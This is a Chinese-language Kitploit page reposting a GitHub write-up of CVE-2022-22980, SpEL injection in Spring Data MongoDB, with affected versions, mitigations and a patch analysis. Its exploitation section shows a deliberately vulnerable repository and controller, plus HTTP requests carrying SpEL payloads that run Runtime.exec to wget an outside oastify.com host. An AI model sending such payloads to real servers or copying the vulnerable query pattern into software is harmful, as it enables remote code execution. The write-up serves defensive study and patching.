Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22980 — [CVE-2022-22980] Spring Data MongoDB SpEL 表达式注入 | Kitploit
工具/GitHubGitHub/murataydemir/cve-2022-22980
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育数据库安全
GitHubmurataydemir/cve-2022-22980

CVE-2022-22980

[CVE-2022-22980] Spring Data MongoDB SpEL 表达式注入

查看仓库
5114年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2022-22980] Spring Data MongoDB SpEL 表达式注入


MongoDB 是一种面向文档的 NoSQL 数据库,具有可扩展性和灵活性,用于高容量数据存储。与传统关系数据库使用表和行不同,MongoDB 使用集合和文档。文档由键值对组成,这是 MongoDB 中的基本数据单元。

Spring Data for MongoDB 是 Spring Data 总括项目的一部分,旨在为新的数据存储提供熟悉且一致的基于 Spring 的编程模型,同时保留存储特有的特性和功能。Spring Data MongoDB 项目提供了与 MongoDB 文档数据库的集成。Spring Data MongoDB 的关键功能领域包括以 POJO 为中心的模型,用于与 MongoDB DBCollection 交互,以及轻松编写 Repository 风格的数据访问层。

2022 年 6 月 20 日,VMware 在其官方网站上发布了一份安全公告,涉及影响 Spring Data MongoDB 的 SpEL 表达式注入(可导致远程代码执行)漏洞。您可以在下方找到有关 CVE-2022-22980 漏洞的详细信息。

漏洞
当使用带有 SpEL 表达式的 @Query 或 @Aggregation 注解查询方法时,如果这些表达式包含用于值绑定的查询参数占位符,且输入未经净化处理,则 Spring Data MongoDB 应用程序容易受到 SpEL 注入攻击。此外,在不涉及额外应用程序代码的情况下暴露 repository 查询方法的配置(例如 Spring Data REST)同样容易受到攻击。

具体而言,当满足以下所有条件时,应用程序容易受到攻击:

  • repository 查询方法带有 @Query 或 @Aggregation 注解,使用 SpEL(Spring Expression Language)并在 SpEL 表达式中使用输入参数引用(?0、?1、…)
  • 注解的查询或聚合值/管道在表达式中包含使用参数占位符语法的 SpEL 部分
  • 应用程序未对用户提供的输入进行净化处理
  • Spring Data MongoDB 3.4.0、3.3.0 至 3.3.4 以及更早版本

如果满足以下任一条件,则应用程序不易受到攻击:

  • 注解的 repository 查询或聚合方法不包含表达式
  • 注解的 repository 查询或聚合方法在表达式中不使用参数占位符语法
  • 应用程序对用户提供的输入进行了净化处理
  • repository 配置为使用限制 SpEL 使用的 QueryMethodEvaluationContextProvider

受影响版本
Spring Data MongoDB 3.4.0、3.3.0 至 3.3.4 及更早版本受到 CVE-2022-22980 Spring Data MongoDB SpEL 表达式注入 漏洞的影响。

状态
包含修复程序的 Spring Data MongoDB 3.4.1 和 3.3.5 已发布。

缓解措施和建议的临时解决方案
首选方案是升级到 Spring Data MongoDB 3.4.1 和 3.3.5 或更高版本。如果您已完成升级,则无需任何临时解决方案。但是,某些用户可能无法快速完成升级。因此,Spring 团队在下方提供了一些临时解决方案。

  • 使用数组语法: 如果应用程序需要由用户输入控制的动态 SpEL 表达式,请重写查询或聚合声明,在表达式中使用参数引用(用 [0] 代替 ?0)
  • 实现自定义 repository 方法: 使用自定义 repository 方法实现替换 SpEL 表达式是一种可行的临时解决方案,可以在应用程序代码中组装动态查询。有关更多详细信息,请参阅 关于 repository 自定义的参考文档。
  • 在调用查询方法之前对参数进行净化处理

补丁分析:GitHub Issue 和相关提交
SpEL 注入漏洞的 GitHub issue 可从 github.com/spring-projects/spring-data-mongodb/issues/4089 访问。
借助以下两个提交,相关漏洞已得到修复。

  • 7c5ac764b343d45e5d0abbaba4e82395b471b4c4
  • 5e241c6ea55939c9587fad5058a07d7b3f0ccbd3

通过这些提交,新增了 spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java 类。

root@kitploit:~
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {

	ValueProvider valueProvider;
	ExpressionParser expressionParser;
	Supplier<EvaluationContext> evaluationContext;

	public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
			Supplier<EvaluationContext> evaluationContext) {

		this.valueProvider = valueProvider;
		this.expressionParser = expressionParser;
		this.evaluationContext = evaluationContext;
	}

	@Nullable
	@Override
	public <T> T evaluate(String expression) {
		return evaluateExpression(expression, Collections.emptyMap());
	}

	public EvaluationContext getEvaluationContext(String expressionString) {
		return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
	}

	public SpelExpression getParsedExpression(String expressionString) {
		return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
				.parseExpression(expressionString);
	}

	public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {

		SpelExpression expression = getParsedExpression(expressionString);
		EvaluationContext ctx = getEvaluationContext(expressionString);
		variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));

		Object result = expression.getValue(ctx, Object.class);
		return (T) result;
	}
}

Screenshot 2022-06-28 102025

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java 类也被修改如下:

Screenshot 2022-06-28 105719

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java 类的最终版本(已修复)如下:

root@kitploit:~
package org.springframework.data.mongodb.util.json;

import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;

import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;

/**
 * Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
 * To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
 *
 * @author Christoph Strobl
 * @author Mark Paluch
 * @since 2.2
 */
public class ParameterBindingContext {

	private final ValueProvider valueProvider;
	private final SpELExpressionEvaluator expressionEvaluator;

	/**
	 * @param valueProvider
	 * @param expressionParser
	 * @param evaluationContext
	 */
	public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
			EvaluationContext evaluationContext) {
		this(valueProvider, expressionParser, () -> evaluationContext);
	}

	/**
	 * @param valueProvider
	 * @param expressionParser
	 * @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
	 * @since 2.2.3
	 */
	public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
			Supplier<EvaluationContext> evaluationContext) {
		this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
	}

	/**
	 * @param valueProvider
	 * @param expressionEvaluator
	 * @since 3.1
	 */
	public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
		this.valueProvider = valueProvider;
		this.expressionEvaluator = expressionEvaluator;
	}

	/**
	 * Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
	 * {@link EvaluationContext} based on {@link ExpressionDependencies}.
	 *
	 * @param valueProvider
	 * @param expressionParser
	 * @param contextFunction
	 * @return
	 * @since 3.1
	 */
	public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
			Function<ExpressionDependencies, EvaluationContext> contextFunction) {

		return new ParameterBindingContext(valueProvider,
				new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {

					@Override
					public EvaluationContext getEvaluationContext(String expressionString) {

						Expression expression = getParsedExpression(expressionString);
						ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
						return contextFunction.apply(dependencies);
					}
				});
	}

	@Nullable
	public Object bindableValueForIndex(int index) {
		return valueProvider.getBindableValue(index);
	}

	@Nullable
	public Object evaluateExpression(String expressionString) {
		return expressionEvaluator.evaluate(expressionString);
	}

	@Nullable
	public Object evaluateExpression(String expressionString, Map<String, Object> variables) {

		if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
			return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
					variables);
		}
		return expressionEvaluator.evaluate(expressionString);
	}

	public ValueProvider getValueProvider() {
		return valueProvider;
	}
}

此外,由于对 ParameterBindingJsonReader.java 类进行了重新调整,确保了在绑定 Query 或 Aggregation 注解值中使用的参数时保留参数类型。您可以在下方截图中查看 ParameterBindingJsonReader.java 类的提交更改:

Screenshot 2022-06-28 145001

Screenshot 2022-06-28 145043

Screenshot 2022-06-28 145303

利用步骤
在说明利用步骤之前,先展示示例易受攻击项目(使用 @Query 注解)的 UserRepository.java 类,如下所示:

root@kitploit:~
package com.example.mongodb.repository;

import org.springframework.data.mongodb.repository.MongoRepository;

import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;

public interface UserRepository extends MongoRepository<User, String> {

   @Query("{ 'userName' : ?#{?0}}")
   public User findByUserNameLike(String userName);
}

导入 com.example.mongodb.repository.UserRepository 命名空间的示例控制器类 UserController.java 也如下所示:

root@kitploit:~
package com.example.mongodb.controller;

import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;

@RestController
@RequestMapping("/v1/user")
public class UserController {

   @Autowired
   private UserRepository userRepository;

   @ResponseStatus(HttpStatus.CREATED)
   @PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
   public User createUser(@RequestBody User user) {
      return userRepository.save(user);
   }

   @PostMapping(value="/get")
   public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
      return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
   }

利用请求与响应

root@kitploit:~
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
root@kitploit:~
HTTP/1.1 500 
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112

{
  "timestamp": "2022-06-22T14:21:20.604+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/v1/user/get"
}

1 2 Screenshot 2022-06-22 162712

root@kitploit:~
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116

keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
root@kitploit:~
HTTP/1.1 500 
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112

{
  "timestamp": "2022-06-22T14:36:10.827+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/v1/user/get"
}

4 5 Screenshot 2022-06-22 164810

有关此漏洞修复的更多信息,请访问以下资源:

  • VMware 公告:Spring Data MongoDB 通过注解的 repository 查询方法导致的 SpEL 表达式注入漏洞 (CVE-2022-22980)
  • Tenable 公告:CVE-2022-22980
  • Spring 公告:Spring Data MongoDB SpEL 表达式注入漏洞 (CVE-2022-22980)
  • GitHub 安全公告数据库:Spring Data MongoDB 中的 SpEL 注入
  • NIST 公告:CVE-2022-22980
  • MITRE 公告:CVE-2022-22980

致谢:

  • 此问题由 NSFOCUS TIANJI 实验室 的 Zewei Zhang 识别并负责任地报告。
  • github.com/kuron3k0/Spring-Data-Mongodb-Example
  • github.com/trganda/CVE-2022-22980
  • github.com/li8u99/Spring-Data-Mongodb-Demo
  • github.com/jweny/cve-2022-22980-exp
下载工具